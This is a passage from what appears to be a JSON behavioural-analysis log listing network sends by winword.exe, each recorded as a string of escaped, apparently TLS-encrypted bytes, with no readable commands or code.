  699. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010`\\x9f\\x96m\\x84?\\xe1\\xadv\\xddk\\xcc\\xbf\\xfdr\\xb7\\xc8\\x0fgc\\xd0\\x85\\xf6oy\\xff\\x1f\\xaes\\x80\\x8e)\\xe3\\xb6\\x86\\x9di\\x1f\\xc9\\xaa\\xed\\x9c2\r\\xf4\\xee8\\xa5\\x0c\\x1d\\xf5uxw\\xa9\\x0c\\xe0\\x1c\\x05\\xc0g9\\x86\\x9d\\xc6j\\xd7\\xc6b\\xbb\\x91i\\x1a`r\\x98r\\x0e\\xabf\\xc5\\xb1\\x91\\x11\\x1c\\xb5\\xb5\\x99\\x1c\\x8b\\xa1b\\x91\\xdc\\xa2\\xa6\\xcb\\xc9(^v\\x84\\x89\\xff\\x8e] \\xe9\\xca\\xbe\\x00\\xd0\\x93e\\xbcn\\xca]m\\xeev\\xac\\xbf\n\\x8e<%\\xe5\\x82\\xbdk@\\xd4qy\\x8d\\x87\\x971n\\x99u\\xe7n\\x1exq\\x17\\x9d\\x83 @\\x11\\xba\\x17\\xb3#\\xc9%\\xda\\xa00xv\\xbbh!\\x16\\xa9x1\\xbc6\\x91\\x1bl\\x94\\xdf\\x1c\\xdd%\\x0c\\x83\\xd5\\xca>\\x90\\xe0\\x89: \\x93\\xde\\xf6\\xca\\xb6b7mn\\xfd<y5\\xa8\\&g2\\xfa9\\x1e\\xc2\\x1c\\xec\\x80\\xd8\\xb7\\xc7\\x7f*\\xd8\\xb1\\x18\\x8d\\x97@\\x94;m_@(\\xeed\\x00\\x00\\x0c\\xf7jc,\\xb6\\x04.%\r\\xe8\\xf3\\xa6u"
  700. },
  701. {
  702. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#$\\xc2\\xd9\\xee\\x07br\\xd1'n+\\xa0\\xcf\\\\xc7\\x1f\\xc4%\\xa5\\xaa\\xec\\x9e\t\\xac\\x16}|\\xaf\\x10\\x14\\x8a'9\\xb9\\x82\\x1cue\\xca\\xcd\\xe2\\xd7yd-\\x86\\x10>k\\x8f\\x14\\x07\\x9dt\\xf5\\x80\\x8b\\xc5\\x06\\xfb\\xcc\\xba\\x8f\\x9a\\x81a\\x06\\xa7@e*ea\\xe8\\x1d\\xf5z\\x8f8\\x146\\x99\\xf6\\xfc\\xae(\\xa1\\xf4\"+\\xab\\xdd\\xc6\\xb9\\xc6yk\\xefe\\x1b;g\\x1c\\x1fh\\xd77\\x8a\\xad\\x8b\\x19&6\\x1f\\x80\\xfa\\xb4\\x1bn\\xc3\\xc4\\xcd\\x81u.\\xa9\\xb8\\xdd\\xb7#\\x92\\xa7\nvnf\\xd2\\x8d\\xa6gh\\xc1\\xc6\\xbf\\x17$\\x90\\xaar\\xb3\\u\\x97\\xc61\\xdd\\xc0\\xc6\\xbc\"r\\x06g\\xb1\\xb6\\xfb(\\xee\\x93\\xa4w\\xda\\xb2\\x9655\r\\xef\\x99\\xbc\\x81\\x1c\\x166\\x8a\\x9b\\xce\\x9f\\xd74j7\\xbd\\x7f\\x8e\\xf0\\xbc\\xb8z(\\xfb=h\\xb5\\x077\\x18\\xc8l\\xaa\\xe7\\xeft\\x96p#\\xe5\\xa9{\\xb6\\x81\\x13\\x89\\x1bz\\x87\\xb9\\x97\\x01\\x91\\xeb\\x82\\xda\\xbfe\\xd2\\xfd\\xe6p\\x06\\xe9+\\xe5\\x15\\xe7\\x17r\\x15\\x9cq"
  703. },
  704. {
  705. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,\\xb6\\xa8;w\\x90\\x1d\\xd8\\xb4\\xc0\\xa3\\xbat\\x85_\\xdb\\xda\\xca?|\\xa0\\x96\\x9b\\x99\\xfd\\xe0_t\\x1c\\xb7\\xfe\\xda\\xd3\\xb5\\x88\\x82\\xc2qai\\xd7\\xf9\\x08+\\x1afk\\x11@\\xdc\\x83\\x1bslz\r5\\xd3\\xac\\xb36\\xd9\\xff7`\\x1c\\xbf\\x93avm\\xf2\\xebo\\x9a/\\x90,\\p\\x07\\x9d\\xba\\xd4#\\x93\\xb1\\xec\\xe2\\xbc\\xd9\\x82a\\x95^\\x0ba\\x8c\\xd1:\\xc9\\xbb}\\xe9\\xd3\\xad\\x15\\xd6s\\xddl,\\x0c'\\x12\\x1d]`s\\x91\\x0b\\xda\\xa7\\xa4i\\xf7\\x10tob\\xbe\\xb1v\\x89\\x9e\\x9e\\xd0\\x98\\xf6ss\\xdd(\\xc5\\xbe\\x9d\\xe6\\xda,\\x8ejb\\x9a\\xd5!v\\x10\\x81\\xd1:\\x05\\xa5\\x9a\\xef\\xa4\\xa2cn-q\\xf9)\no\\x88\\xbc\\x0c\\xbcp\\x19{\\xc87\\xb9\\xaah\\xd4v\\x12\\x18\\xbcp\\xc6i\\xc9d\\xcd\\xc3xg\\x90\\x16\\xf1?\\x99\\x9a!l1\\xf0\\xcc\\xc3\\xf6\\xc1\\xe3\\x96\\xaf\\xff\\x7fx\\xe10&\\xe0\\xab\\xb3-\\xceg-\\xc8\\x03\\xc0\\x9fx\\xee\\x85\\x9d\\xf0hw\\x80\\x9bn2\\x8f\\x96\\x98\\xe2\\xa4n"
  706. },
  707. {
  708. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17\\x90x;\\x0c\\x03g\\x84\\xce\\x97\\xd4h'~j\\xe6\\xe6\\xa5\\xcf\\xb1\\xbb\\x825\\xd4\\xc0vy\\x12\\x8b\\xc3\\x08\\x85q9\\x15\\xba\\x90\\x9c\\x7f\\x0e\\x03\\x15\\x12\\xf1\\xeds\\xa2\\x8f\\xb4\\xd2\\xd7 \\xf8\\x0epa\\x85\\x96(\\x1a\\x07\\x18\\x8e\\xbc\\xae\\x1a\\xe2?\\x8c3\\x1e\\xff\\x83\\x99\\xf8k\\xa0\\xc6\\xbdk\\xc1\\xe9\\xee2\\xa4\\xea\\xeek\\x83#r\\xcaz#t7\\xd6\\xc2\\xa4\\xd6\\xdfr\\xdb/\\x95sj\\x83\\xaf\\xbf\\xdeq\\x93\\x1a\\x89h\\xa3\\xd6\\xaal\\x12\\xad\\xba\\xaai\\x1e\\x15\\x19\\x9e%69'\\xdb\\xcf\\x955\\xb5xr\\xceu\\xd6\\x05\\xaf\\xf9\\xc5\\xc7rp\\x8b\\x963\\x8fp\\xc5\\x98\n\\xdb\\x0c\\x12\\x12e\\xcd*\\x1c\\x03\\xc0\\xd1\\xb4\\xec\\xc5\\xeb\\xf9g\\xd8jtg<\\x0f\\xb9\\xb8_\\xedx\\xcd\\xd4q\\x99\\xf5\\xdb\\x05\\x8d(&\\x1a5\\xfc\\xe1k\\xea\\x10f\\x89x\\xff\\xc1\\x8a\\x15o\\xdb\\x99\\x1dh\\xc7\\xe9\\x9f\\xa9\\xf2\\xcd\\xd5[mht\\xaa\\xbe\\xdac*\\xf3\\xe7kwx\\xde\\x8f1\\xff\\x8fl\\x02v 1r7\\xc7\\x906"
  709. },
  710. {
  711. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbd\\x92\\x9d\\xc8\\x0e\\x9e\\xf9f\\xc5*m\\xa3\\xe5e\\xd5\\xc8q\\xa0\\x18\\x06\\xfc>\\x86;h\"@2\\x9biu7\\xf4\\x89\\xb0\\xa5\\xac\\x07b:\\x8e\\xe3n\\x9c(\\x88;\\x99\\xcc\\x05/\\x10\\xc6;\\xcf \\xc4\\xd3\\x93\\x1e\\xf4m\\xd5{\\xd8id\\xfe\\x7f\\xdd\\xdf\\xb3\\xa0m%{\\x18v\\x00\\xdd\\x93'\\x90n\\xa4evg\\xe0\\x96\\xe4{\\xe9\\xbc\\x07\\xfd\\xc3/n\\xa0\\xe7dw-\\x8b\\xf2\\x0fehij\\x89\\xcd\\x11\\xda\\x1a\\xf7\\xfe\t\\xa0\\x87\\x853\\xe0}\\x1f\\x91a\\x86\\\\x81\\xe7\\xe0z\\xa8\\x81\\x14\\xcc\\xac\\xb6\nx\\xddc$\"\\xd10g\\xff\\xd5?\\xb2\\xea\\x91\\x91\\xe2\\xd45\\xee\\xe6\\x08\\xcf\\xe7\\x11\\x86\\x19\\xa8%\\xa4\\x1b\\x15\\x00\\xf9;\\xe1\\xbe\\xca\\xe6\\x04\\xf6\\x11\\xbc\\xbd,\\x1d\\xc85\\x16\\x03\\xd2\\x05\tv\\xcb\\x07\\x98\\xd6\\xda\\xee\\xe366p\\xfa\\xa6|\\x93l\\xc5\\xa1e\\xa3\\x97\\xda\\x96$\\xd0\\xff\\x9b\\xcc\\x18\\xcb`u>\\x8b\\x9fy\\xbb?\\xf2n\\xe04\\x13?\\xaa\\x96\\xd4w\\xc8\\xaf\\xdd\\xe9\\x80\\x0c\\xbf\\x0f2\\x17"
  712. },
  713. {
  714. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xca|\\xe6\\xcc#\\x0b?\\x94\\xae@\n$\n\\xec\\xca\\xb1s\\x9af!\\xad\\xf2\\x18i\\xa4\\x8d\\xd7n\\xaf. }(k\\xdf|\\xd6\\x15\\x18\\xff\\xf3\\xd1\\xed\\x82\\x9b\\xc8\\xd8\\x02)=\\xd2r\\xa3g\\xb74v\\xf7\n\\xce\\xa9k\\xea \\xde\\x19\\xe6\\xbf\\xfc\\x8b=a\\x16<s\\x82\\xfa\\xe1\\x03w\\x8bq[\\x89\\xe1\\x82\\x0c/#\\x91o\\xd0\\x94l\\x9d\\x86h\\xf8\\xb7\\x98i\\xa7\\xd2[$\\xb9#\\x87\\x05xz8\\xb2\\xcew\\x0b\\xd6y[1\\x8a\\x9d$\\xe7~\\x90\\x1c\\xe5\\xf1{:\\x7f\\x1b\\xe3x\\xdc\\xe2\\x9c\\xaa\\xc8\\xd0>\\xfc\\xa7\\xe3\\xe8\\xcd\\xf4\\x98\\xbae\\x92\\xf8t\\xfe~\\x134\\x83\\x97\\x08\\x7f\\xe7<\\xc0|{\\x9c\\^c&\\xe2c\\xd3zr\\xea\\xe0\\x1fu\\x1fz=\\x14\\xc2\\x06\\x11\\xbf\\x1b\\x92\\x82\\xf4\\x01\\xben!\\x99\\xcf\\xd4\\xa7\\xa7\\x9d\\xee\\xe9\\xc5\\xed\\\\x93s>\\x9b\\x0b`\\xe1\\x00[k\\xef\\x19\\xfbx\\xa2\\xe7!\\xad\\x88\\x83\\xf6\\xbc\\x81\\xdb\\xcf\\xaa8\\xcb#\\xa2\\xfc\\xb1:\\x81\\x8a\n:\\xb3\\xd7wkpe"
  715. },
  716. {
  717. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010]\\x95e\\xab^\\xbb\\xf5v\nh\\x048\\x1dex\r\\x00\\x96rh19{\\x08\\xce\\xad\\x03s\\xbeu%\\xb9rn\\xbb8 \\xa0\\xfb\\xf9\\xd4j\"\\xaa\\xc7\\xe8b\t\\xdc\\x13\\xa7\\xa6f\\x8e\\x9f\\x89\\x89\\x83\\x19\\xc0z\\x0eh,a)\\x7fh\\x03\\x7f\\x84\\x12\\xa0\\xfb\\xd3#\\xa3\\xb8'z\\x9a\\xa6\\x80\\xed\\xdc\\xdfkehb\\xd56\\xe2\\xda\\x90c\\xef\\x87e\\x81\\xcf7\\xf8\\x93_\\x96\\xb6a/h\\xcdt\\xfe\\x14g\\x99\\xab<t\\xecf\\x0f\\x81j\\x04p\\x14\\x0ceh\\xd5\\xd2%\\xc7\\xfe\\xbb\r1\\xd79q\\x82#\\xee\\xd7\\xb6.\\x1a\\x86\\x8ao\\x8c\\xab\\x91\\xbf\\xfc\\x8c\\x04\\x83>\\x02\nil\\xf3\\x93g\\xe7\\xe8\\xf0\\xa2`2\\xb6%p\\xa8\\x89\\xfb\\x13n\\xff\\xd9|$/\\x9b\\x12\\xb1\\xd1\\xd7\t\\x8a\\xc0\\x97\\xfb*\\xf1\\xc4p%\\xf8v\\xfa)\\xa7\\x1d\\xbd\t \\xd1r\\x1d\"\\xf8\\x01\\xa8\\xb7]-/\\xe3g\\x1f}\\xf2\\xa4f\\x82m\\xe9\\xab\\xa6\\xf2\\xd7#hj\\x17\\x01\\xdd\\j\\xbck\\x90gl\\xcc\\xfc["
  718. },
  719. {
  720. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xabb>\\x9d\\xd0}9\\xdf6\\x83\\xec\\x16$:\\xa2\\xe8_\\xa7\\xf47\\x02ej\\xb7(\\xa7\\xfdc\"\\xce\\xf3q\\xee\\xcf\\x9dq\\xc5\\xcf\\xda\\xaf h\\x99r\\xad\\xd4\\xea$\\x9e\\x83\\x18\\x11{)\\x9c \\x19\\x144\\xc7\t\\x06r\\xe3\\xd5d\\xfb\\xbe\\x99\\x8cpk\\xf2\\x90e/9\\x84\\xf3\\xa2\\xe7t\\xd7\\x96i\\x99\\xf2\\xcc\\xcc7\\xe1\\xdf\\xd1\\xf0u\\x8et\\x0f'\\xa7c\\x87\\x9fk\\xcf\\xce\\xb5hw\\xb0y\\x8dm\\xa0_\\xa8\\xc16zl\\x13\\x04\\x9b\\xf3\\x92m\\xfc\\x96t\\xd0\\xab;\\x97\\xe4rp\\xd6\\xd6`\\x7f\\xf61vgkj\\xf7/\\x0f1_`\\x0bgj\\xdc\\xae\\xa9r\\xb7\\x92j\\x86\\x13\\xdc7\\xc4\\xa3\\xe4\\xd5>u\\xfa\\x005hp\\xa6n\\x84\\xd1b\\x8a\\xf5\\x19$6!a\\x11\\x9ed\\xa6\\x19l\\x13\\xa1\\xe5;\\xfap\\xf4\\xcd\\xf2\\x12x&\\x95b7\\xdf\\xc3\\x94\\xf5>\\xc6\\x96\\xd6-\\xe9\\xc4[\\xdc,<\\xf0w\\xca\\xa9\\xc4\\xba\\x14\\x9ff\\x05\\x92\\xa4\\xa0\\xe0\\xb5gac\\xcb\\xd6b\\x9e\\xe1)\\xe0x"
  721. },
  722. {
  723. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfc\nk\\xff~q\\xc1\tm\\x0c\\xdc\\xb7\\x9cy\\xbf9'\\xd8r\\xc7\ttd\\xafd\\xbd\\x92\\xc9\\x02\\xb4s\\x8b:8\\xcax~\\xcc\\xd9\\xd7\\xda\\x8fi\\xbe^%k\\x97 \\xd2\\xa4\\x8d\\xacv\\xf5r\\x96\\x81z\t\\x1d%\\xc3\\x16\\x08(\\x0cv\\xd4\\x07~\\xd7\\xf2\\xe2>\\xab\\x162|\\x03$\\xac\\x1a\\xf2\\x12+5\\xf9\\x00\\xfd\\xd4s0vpl(\\x04\\x02klw2r3\\x86\\xb5zh\\xd9o\\x96\\x94\\xb4\\xa7\\xf4\\x9a\\xed}\"hs\\xa8\\x96\\xd2xc\\xb1\\xa7s\\x82+l\\xdf\\xf5uqa!\\xd8xt\\xfa\\x02.\\xc6\\xe3e\r\\x8a\\xaf]r\\xa2<\\x01\\x11j\\x13\\xa5\\x946\\x03\\xf1t\\xff\\xdam,\\xadm5\\xeb\\xd2q\\xd6n\\xf1\\x82w\\xae\\xaep=\\xa8\\xfd\\xf8\\x98\\x08\\xa2]\\xd2xa\\xdcc\\x8fe\\x02\\xd8'|\\xe6n1~\\xf4\\x1a\\xf9>}[\\x99v\\x13\\x9d\\xf4\\x93\\xa7\\xc6y\\xc4\\x8b\\x9c\\x14`\\x1a-t}\\xe6\\x91'6ub\\x82\\xefn\\xcf\\x8e\\xffrh\\xa5\\xef14\\xb3r;"
  724. },
  725. {
  726. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcc\\xbd\\x02\\xd3\\x05i\\xff\\x8e\\xc1c\\x03<\\x8c'>h\\x1c\t7\\x94\\x01\\xe2\\xb4\\x0f~p\\x05\\xc3\\x17\\xa1q\\xf7wj2\\xb2,\\xd0\\x8d\\xbd\\x96\\xce\\xa0\\xb2u\\xd4\\x9e\\x89\\xa8l\\xa8*\\x9ea\\x96\\x00*!\\x86!\\xbdz\\xaf\\xa6\\xc1\\xf4\\xaa\\xa9\\xcccy\\x9e\\xf3\\xe7\\xfc\\xf4\\x15(\\xc1\\xf1qt\\xa3v#\\x95\\xe2\\xbb\\xb4p{\\x9bb\\xd1@!8\\x94m\n\\xdcpl\\xd6\\xf4\\x97-\\x9a\"\\xc1)cx\\xd8\\x84ueb\\xfa\\xb4\\x83\\\\x9a\\xdd\\x95m=\\xc2\\xb1\\xc4[9\\x99&j@\\xd0\\xa6\\xd1\\x15][\\x9a\\x19\\xf1n3x\\xe4\\xc2k#\\xb84\\xb4\\xb9\\x9b\\xb3n\\xa5\\xc7\\x8b\\xc2\\xb3\\x0e\\xb0\\x16\\xf4\"\\xba\\xdd!\\xfa\\xb5\\x0e\\xfa\\xe7\\x14<\\x11\\xf4\\xacct\t\\xee\\x8d&\\x7f\\xa6q\\xad \\x0e;g0\\xa5\\x93\\xf8h\\x83 \\x82`r\\x97!#\\x18m\\x06\\xfe\\xe52?\\x84&b\\xdcl\\xd1\\xcb!\\xd4\\x8c\\x93r\\x88\\xa6\\xedot\\xdbhy\\xe8\\x15p\\x97\\xc6\\xfe\\xd14b\\xc6\\xf7ku\\xd9\\xbc"
  727. },
  728. {
  729. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\\\x99\\x1a[\\x15\\xa8\\xa4\\xb2\\x90\\x80\\xe5l8\\xe6\\xbazi\\xc9$\\x87rw\\x88_\\xbd\\xf4ct\\x9e\\x890e@tp\\x02o)=\\xd5\\xf2&1\\x12\\x1ef\\x86xm\\xbfz\\xb6z\n\\x1e\\x9f\n\\xe0ks\\xc68\\x8a\\xbfo\\x06\\x8ae\\x94\\xba[m\\xe7;\\xc1<\\xe8\\xa5\\xa1\\xa3j\\xc5)\\xf7\\xc28aa#\\x94\\x92\\x93\\xc3\\x91le\\x80\\xe6\\x96\\x83\\xeb+\\xd0\\x84\\x18em\\x8e\\xfb22\\xfdkr:\\xb5b\\\\xfc\\x94\\xf5\\x88\\x01z\\x9b\\x0ck\\xf9\\xd2\\xe8\\x1cv\\x84-[\\x19\\xe2\\x81w\\x0ca\\xbb\\x91wk\\x03k4?x\\xdc\\x9d\\xe3\\x84\\xcd\\xce\\xe8\\x0f\\xfal\\x9e\\x1f\\xb7e#\\x94\\x81u\\xaf\\x0f\\xba0\\xef\\).d\\xe4r\\xb5~<\\xe4\\xe4\\xef\\xdf\\\\x90\\x89[\\xd6>\\x12\\x12\\x19b\\x12\\xcf\\xc5+-o\\x96kk.\\x10\\xffv\\xb3\\x85\\x9c\\xf2\\xad\\xb8\\xb5\\xd6\\xe2\\xb2\\xb0\\xe9\\x84\\x85\\xe0^\\xbek\\x91\\x1e\\xc0\\xefv_\\xc2y4=?\\xe7\\xaa\\xa2\\xa6\\xbd\\xa7\\x1c\\=\\x15?\\x85\\xfc"
  730. },
  731. {
  732. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd2\\x9f\\x820f]-\\x0c\\xfb\\x89\\x92\\x12\\x95\\x07\\xc44\\x98h\\x8e\\xef\\xf3\\x08\\xc8\\xc0p\\x08\\xb0\\x1d3\\xca\\xc5kl\\x14\\x15c\\xd0\\x9bd\\xc9\\xfb\\xa04\\x92\n\\x91e\\xf4g\\x8c!%4o\\xcf\\x83t\\xa64}\\xf2\\xe3l\\x83\\xed\\xaa\\x90\\x14j\\xcf\\x07c\\xb86\\xa5\\xe6t\\xe9\\x8f\\xcf\\x13h\\xf5\\x82b&(`\\xe3\\xc1'#\\x16!`\\x82\\xbfun5|2tq\\x90\\xfd`dpq\\xba\\xe4s-}\\x9d,b\\xd4\\x86j\\xae'[\\xae\\xbe\\xee\\xab'\\xf6\\x11\\xd2\n\\xe70\\xbf\\xb1\\x83\\x0c\\xd8\\x0e\\xf4(f\\x8e\\xa6\\x94\\x9av\\xbep\\xc5;\\x96\"\"\\xddd\\xf0gr\\xbcj\\x1f\\x84\\xcd\\xcfgc\\x8c\\xfe\\x81\\x0b\\xfa\\xac\\xa6\\xfa\\xa5+\\xce\\xe1\\xd8\\xc9.\\xb7\\xb7\\xbc[m\\xcc_\\xe0\\xd5p\\x8f \\x06\\x94\\xa8\\xf7\\x97\\xcf\\x83\\xe0blh\\xe3sx \\xb1\\xcb\\x0c\\xed\\x1a\\x89\\x1d/\\xdd\\xa7\\xf7k\\x8b\\xf6\\x10:d\\xe6\"\\xd0\\x81zf\n\\x05\\xc4\\xe8i\\xcc=3\\x19\\xf1\\x8d\\x17\\xdad?9\\x8a"
  733. },
  734. {
  735. "http_request": "winword.exe_WSASend_\\xc4\\x005\\x00\\x98\\xe8\\xa8\\x11e\\x83\\xd5\\xd5@b\\xbe\\xf822\\x1f\\x1c\\xcf\\xcf\\x176\\xb0\\xfb%\\x8b\\xed\\xe8g\\xdcn\\xc9o\\x15\\xe0|7\\xd5>\\xa2\\x92\\xa9dz\\xe0k\"(r\\xf3l$3\\xe6\\a\\xaf\\xf7x\\x8b\\xdb]\\x8d\\xc1\\x11\\xdc\\xa38\\xff?\\x88d\\xa6d\\x8a\\xc8\\xe75\\xf4w\\xc2\\xfc\\xb8\\x90\\xf6\\xbb\\xd5\\xda\\xdf\\x99\\xc6\\xd0\\xd5\\xd3a\\xe1\\xa9a>\\x81\\xb1c\\xa2\\xd2\t\\xda\\xea\\xc5\\x1f-\\xec\\x8eo\\x820\\xe7\\x02!&\\x89\\xa7\\xd3\\xdc\\x90\\x80-\\xb8\\x01\\x0f\\x03\\xa0\\xb5\\xab\\xcf\\x17\\xc8\\xa7\\xd7\\xdb\\x82\\x82\\xf1k\\x083\\x91\\x8aep\\xde\\x90\\xbc\\xb9{&l\\xf6\\x949\\xc6~\\xe0\\xbez\\xae\\xfb\\xf3is3\\xd5(\\x80\\xc9yk\\xf4\\xb9=\\xee\\x14\\xa3\\x92\\xbb\\x14\\xc8\\xe5j\\xa4c\\xfb0!,\\x8a3\n\\xfa)>\\xab\\x85\\xca\\x91p4*$+ct\\xa0\\x97\\xf3\\xb4r=\\xab\\x1a\\xe0\\x99>\\x16\\xb2\\xb6\\xea}i1\\xe2{\\xdd\\x83\\xfa\\x05\\x00\\x0c\\xea\\xfde\\x9a\\xdf)*\\x82\\xde\\x8a\\xb6y\\x14\\xa3\\xfc2\\xe9"
  736. },
  737. {
  738. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf8h/i\\x1a\\xb6\\x9e\\xee\\xb0\\xb2ha\\xc0&\\x9e\\x8c\\x9b`#\\xbaht\\xd8c\\xf7f\\xa8\\x91>\\x98\\x07i\\xa5\\xba\\x11\\x00pb\"3 r\\xf5\\xb9l\\x9c\\x97\\x9fq\\x08\\x9e\\xdc\\xf5\\x0f\\xf9n!w\\xdb\\xbb3\\x1d\\x02z\\xd3\\x04\\xc4\\xbc\\x83j\\x85\r\\xed\\xe1\\x15i\\x9e'\\xe5\\xe1m\\x11\\x05\\x1dn\\xb5\\xd5\\xd2\\xd5z\\x92\\x15\\xc1p#\\xactq\\xec\\x9a\\xdc\\xa5\\x9e\\x03\\x08n\\xe9nn+\\xea\\xd4_\\xd4c\\xae\\xae7\"4\\xed:sg\\x81\\x05>\\x858/\\xa1\\x06\\x83\\xb7e0\\xc6\\xe6\\x08\\xed\\xa7\\xde\\x06\\x8c\\x8e{7\\x0cf\\xab&\\xd1\\xbf\\x82\\x07n\\xe55\\xdax\\xf6*\\x7f#~f\\xa9\\x13\\x9f\\x95\\xb5\\xcbc\\x1epz\\xcc\\x0cg\\x01\\xb6\\xbf\\xa7kn~\\xe4}\\xbe\\x98\\xeb\\xb3\\x9a\\xcd<z\n n\\x18\\xaf\\x15\\x06\\x13\\xd7u\\x0c\\x9be72\\x91\\x9d\\xdf\\x1e\\xa4f\\xf0\\xb1\\xca\\xe6\\xa6\\xeb\\x8f\\xafh13\\x8a\\x86d&\\x07\\xb5\\x16\\xd2\\x15s\"%\\xe7j\\xc4\\x00yp\\x1b\\xbc\\xd4\\x8b+"
  739. },
  740. {
  741. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010.\\xad\\xa0e\\xf9\\x1a`\\x8b\\xf6\\x89\\xf6\\x94\\x98\\x96\\x94uw|\\x81\\x07?x\\x99\\xf6^\\x1a\\xf6i9\\x85\\x03\\xbc\\xf2df\\x9b\\xb6r3\\xcbw\\xf8\\x06\\xf2\\xf2\\xc5\\x03\\xd2)\\x02\\x96\\xfa\\x8c:p\\x0b'!`\\x8d\\x1a\\x86\\xa1\\xb5\\x96\\xfa6w\\xf46\\xdc\\xe1\\xf7\\xa8\\x936\\x9c=l|\\x1c\\xeb\\xcf3\\xe79\\xe7\\x92\\xc7\\x88\\xcde\\xf1\\xb5r.\\xec\\xfe\\xe7\\x07\\x93\\x95\\x863,z\\xb7\\xe1\\xa1\\xc1\\xff\\xf6\\xc6\\xcb'\\x9f\\xd3\\xfd\\xb7zjg\\x91\\xe5\\xb7\\xde\\xf3\\xce\\xe4k\\x9d|\\x80\\x146\\x8f\\xb0\\x8f\\xf3\\xfe.2\\xa9i\\xe2\\xa7g\\x9d\\xd5\\xb8\\xc3`\\x08\\xa3\\xe4 \\x92\\xaf\\x99\\x94\\xcd\n\\x17\\x93\\xect\\x1feh\\xbdcc\\xcc\\x8c!x\\xbb\\xe8~\\xa4@\\x85\\x19\\xde\\xa4d\\xe9b\\x01\\xe9\\x1b\\xe5\\xc2r\\x9e?\\xbc\\xb0%\\xdc\\x86\\x98\\xe5bm4}\\xf3q\\xd4\\xe1t\\xdbz\\xfb\\x1b\\xce0\\x84m\\xa7\\xa4\\x0c_\\x96\\x8b(\\xa1\\x9b\\xd4\\x92*\\x10>]\\xde\\xe2\\x80\\xb6%\\xaa\\xe8\\xde\\x90\\xf0\\xc8\\xeb\\xf2#p0"
  742. },
  743. {
  744. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010y\\x94i\\x84%\\xf16\\xed\\x1ag\\x9a\\xfa\\x8fhd\\xfe'xuc\\xf2\\x8c\\xd1f\\x97\\x85\"\\xb6\\xa1\\xdb\r\\x13\\x86\\xec-e\\x08\\xc4\\xe2tjw \\xe1\\x1e\\x9c5b~\\x85+3\\x90l\\x18m%\\xbd\r\\xdf\\x01\\xa8o\\x03\\x0f\\xee\\x91\\xbe=\\x14\\x15\\xd9l3\\xaf\\xf54\\xe5\\xfb\\xd4\\x87\\xd7h\\x82\\x1e\\xc5\\x83l`\\xb7\\x99\\x81q:o\\x82\\xc1'\\xe2\\xbc\\x7f^\\x17\\xc3\\xa9v\\x8e7\\x8fjza\\xf0r\\x00\\xb6s\\xe1\\xf5\\x89\\xec\\x06\\xc0mh\\xd0\\x9b\\xef\\x9b\\xc3>\\xe0j\\x91\\xe3\\xca\\xa1)>\\xf0\naj \\x02\\xb3\\x8dy\\xd5\\x05\\xcc\\xb0d\\xc4.\\x03$\\x84\\xe1.\\x92\\xa0\\xda\\xaa\\x95\\x86\\x1fws\\x92\\xa3\\xfd\\xb6~\r\\x81.\\x88\\x96\\xaf>;g\\xc1\\xe5\\x89?\\xf1c\\xa6\\xb6h\\xa8\\xa2\\xa8\\xbf7\"s\\xf5\\x9bwo\\x98\\xbb\\xdb\\x9as\\x18\\xd2\\xd202v\\xdd\\x0b\\x9a\\xe1\\xe6\\xd2\\xa2\\xa2\\x80<\\xee\\xcf=\\xffci\\xe1b\\xdf\\xf7\\xf3\\xb6\\xbbg1\\x93\\xc2\\x1f3\\x96\\xb1b\\x0e\\x8e\\xa1\\x80\\xa6"
  745. },
  746. {
  747. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010[\\xc4>%\\x17\\xedz\"]8u\\xd5\\xfe\\xfc\\xfek\\x9e\\x1c\tc\\xf3b\\x04x\\xb2z\\xaf\\x14\\x01$\\xd7\\xdf\\xf0\\xdf\\x1f\\xcer\\x01c\\x1d\\x9e\\x9d@\\xf9\\xb3@\\x85\\x98\\xe9\\xf6q\\x8a\\xba\\xf1\\xde:\\x8d*\\xfd\\xfc\\xbc8]$moj\\xc4\\xf6\\x8c\\xdb\\x01\\x8c+\\xe9\\x1c\\xf2\\xa4\\x0b\\xb9\\xc1\\xd5\\x1a\\x92\\xd8,?`\\xc7\\x1f\\xc6~\\x99\\x0cu\\x007e>l\\xc2\\xb9\\xd6\\x19\\x0e=\\xea\\xfbn\\xc0\\xc5bi\\x99\t\\xc0\\xed\\xdb\\x14\\x889\\x0e\\xb4j\\xee\\xd9h\\x85\\xaa\\xf3\\xe3q\\xf9\\xf0\\xf8\\xda\\x9f\\x921\\x00\\x84\\xbd}i\\xde\\xcd\\xd4g\\xb0ycm>bz\\xc1\\xe4\\xc1/\\xafytg,\\x1b\\xd5_\\xee&m\\x00\\xf9\\x10\\x08\\xb9kx\\xab\\xe1.\\x80p\\xd7t\\xbd\\xb3\\x8a\\xb6o_?3\\xb0\\xbe`\\x82\\x03b(\\x01\\x85u\\xde\\x8d\\xd9\\xec/\\x15)\\xb8\\x15\\xbdg\\xf6\\xdesa\\xb9k\\x04\\xb5>p\rh\\x02g\\xf0\\xf8n\\xa9\\xa7f\\xe9#\\x99\\xab\n\\xcf\\xf1,\\xe0\\x1d\\x88\\xc7bh`,`\\x8e"
  748. },
  749. {
